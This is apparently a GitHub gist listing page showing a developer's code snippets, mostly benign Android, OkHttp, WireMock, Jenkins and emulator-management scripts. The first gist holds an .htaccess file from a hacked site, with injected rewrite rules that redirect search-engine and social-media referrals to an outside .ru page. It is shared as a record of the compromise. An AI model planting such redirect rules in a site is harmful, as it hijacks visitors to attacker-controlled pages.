Skip to content

Instantly share code, notes, and snippets.

@handstandsam
handstandsam / .htaccess
Created March 6, 2012 01:50
.htaccess file on hacked DreamHost Site.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://pool-massage.ru/mysave/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orang
@handstandsam
handstandsam / ObjectifyGeocellQueryEngine.java
Created April 19, 2012 14:53
Geomodel Geocell Query Engine for Objectify
import java.util.List;
import java.util.StringTokenizer;
import com.beoui.geocell.GeocellQueryEngine;
import com.beoui.geocell.model.GeocellQuery;
import com.googlecode.objectify.Objectify;
import com.googlecode.objectify.Query;
/**
* Objectify implementation for GeocellQueryEngine.
@handstandsam
handstandsam / AndroidAssetsBinaryFile.java
Last active March 16, 2018 09:08
Wiremock Android Assets FileSource (In Progress)
package wiremock_tests;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.util.List;
import android.content.res.AssetManager;
package com.capitalone.mobile.wallet.testing;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import org.robolectric.RuntimeEnvironment;
import org.robolectric.manifest.ActivityData;
import org.robolectric.manifest.AndroidManifest;
@handstandsam
handstandsam / SessionMismatchException.java
Last active October 4, 2021 20:17
Protecting session sensitive responses with Retrofit 2 and okhttp 3
import java.net.SocketTimeoutException;
/** This exception extends {@link SocketTimeoutException} so that okhttp3 will not retry if retry is enabled. */
public class SessionMismatchException extends SocketTimeoutException {
public SessionMismatchException() {
super("Session Mismatch");
}
}
@handstandsam
handstandsam / SSLHandshakeInterceptor.java
Created April 7, 2017 17:57
OkHttp 3 SSL Handshake Interceptor - Prints TLS Version & Cipher Suite Used
import android.util.Log;
import java.io.IOException;
import okhttp3.CipherSuite;
import okhttp3.Handshake;
import okhttp3.Response;
import okhttp3.TlsVersion;
/** Prints TLS Version and Cipher Suite for SSL Calls through OkHttp3 */
public class SSLHandshakeInterceptor implements okhttp3.Interceptor {
@handstandsam
handstandsam / create_emulator.sh
Created April 25, 2017 17:07
Script to Create Android Emulator for Espresso Tests on CI
AVD_NAME="384x640_mdpi_api_23"
echo "Creating (forceful) AVD with name ${AVD_NAME}"
# We have to echo "no" because it will ask us if we want to use a custom hardware profile, and we don't.
CREATE_AVD_COMMAND="android create avd \
--name ${AVD_NAME} \
--target android-23 \
--skin 384x640 \
--abi google_apis/x86_64 \
--force"
@handstandsam
handstandsam / is_job_done.sh
Last active February 22, 2023 15:17
Bash Script - Get Jenkins Job Status over API
#!/bin/bash
BUILD_NUMBER="";
STATUS="None";
COMPLETE="false";
function isJenkinsJobComplete() {
API_RESPONSE=`curl ${1}`;
STATUS=`echo "${API_RESPONSE}" | python -c 'import json,sys;obj=json.load(sys.stdin);print obj["result"]'`;
BUILD_NUMBER=`echo "${API_RESPONSE}" | python -c 'import json,sys;obj=json.load(sys.stdin);print obj["id"]'`;
@handstandsam
handstandsam / Example Output
Created August 17, 2017 20:14
Killing Hung Emulators on CI (Mac & Linux Commands)
15:56:46 Found Emulator -> 1-04:55:18 93339 qemu-system-i38
15:56:46 EMULATOR has been running longer than an hour 1-04:55:18, KILLING PID 93339
15:56:46 Found Emulator -> 1-04:30:54 94320 qemu-system-i38
15:56:46 EMULATOR has been running longer than an hour 1-04:30:54, KILLING PID 94320
15:56:46 Found Emulator -> 1-02:16:26 96137 qemu-system-i38
15:56:48 EMULATOR has been running longer than an hour 1-02:16:26, KILLING PID 96137
15:56:48 Found Emulator -> 23:41:33 100149 qemu-system-i38
15:56:48 EMULATOR has been running longer than an hour 23:41:33, KILLING PID 100149
15:56:48 Found Emulator -> 23:40:02 100494 qemu-system-i38
15:56:48 EMULATOR has been running longer than an hour 23:40:02, KILLING PID 100494
@handstandsam
handstandsam / kill-hung-emulators.sh
Last active August 18, 2017 07:37
Kill Hung Emulators on CI (Mac & Linux) that have been running more than 1 hour
#!/bin/bash
# Will find all emulator processes that have been running longer than an hour, and kill -9 them.
SEARCH_TERM="qemu-system"
echo "$(ps eaxo etime,pid,comm | grep ${SEARCH_TERM})" | while read line
do
if [ "${#line}" -gt 0 ]; then
echo "Found Emulator -> $line"
COLUMNS=()
for word in $line